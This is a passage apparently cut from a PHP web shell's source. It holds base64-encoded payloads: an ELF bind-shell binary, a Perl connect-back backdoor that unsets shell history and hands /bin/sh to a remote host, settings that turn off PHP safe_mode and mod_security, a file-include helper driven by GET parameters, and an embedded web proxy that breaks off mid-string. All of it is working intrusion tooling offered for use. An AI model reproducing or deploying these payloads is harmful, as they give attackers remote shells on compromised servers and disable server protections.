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WxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
$back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0=";
$php_ini1="c2FmZV9tb2RlICAgICAgICAgICAgICAgPSAgICAgICBPZmY=";
$htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+";
$sni_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg==";
$phpproxy="
PD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXN